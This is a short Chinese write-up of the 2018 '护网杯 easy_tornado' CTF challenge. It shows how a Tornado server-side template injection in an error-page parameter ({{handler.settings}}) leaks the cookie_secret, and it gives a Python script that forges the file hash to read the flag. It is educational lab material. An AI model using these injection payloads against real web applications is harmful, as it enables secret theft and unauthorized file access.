护网杯 2018 easy_tornado

0x00

题目类型:SSTI注入。

0x01

索引界面下三个文件,flag.txt提示flag在/fllllllllllllag,hint.txt提示hash生成方式为md5(cookie_secret+md5(filename))。

注意到访问文件时为filename+filehash的形式,我们知道了flag的文件名,故只需要构造出flag的hash值,就可以拿到flag了。

http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/file?filename=/hints.txt&filehash=11bc60156d94c420cbd493f8e2188214

题目名提示为tornado框架,打算构造一个错误的数据看看,能不能看到版本之类的有用信息。随便乱填了一个filehash后,跳转到了一个报错界面。

http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/error?msg=Error

msg参数中的数据直接回显在了界面上,猜测存在SSTI注入,传入msg={{1}}试试,果然有回显。构造msg={{handler.settings}},发现cookie_secret。

0x02

本地跑出hash值,而后带着hash值访问flag文件。

payload:http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=18228a78a6afbdd48e1e4982d521ebad

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 s = s.encode('utf-8')
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = '9b6d419c-e603-4470-b2ad-5b7a9674ec9c'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()

这里我犯了一次傻,用php写了一个脚本跑hash值,提交上去直接报错了,后来想起tornado是python框架。。。。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值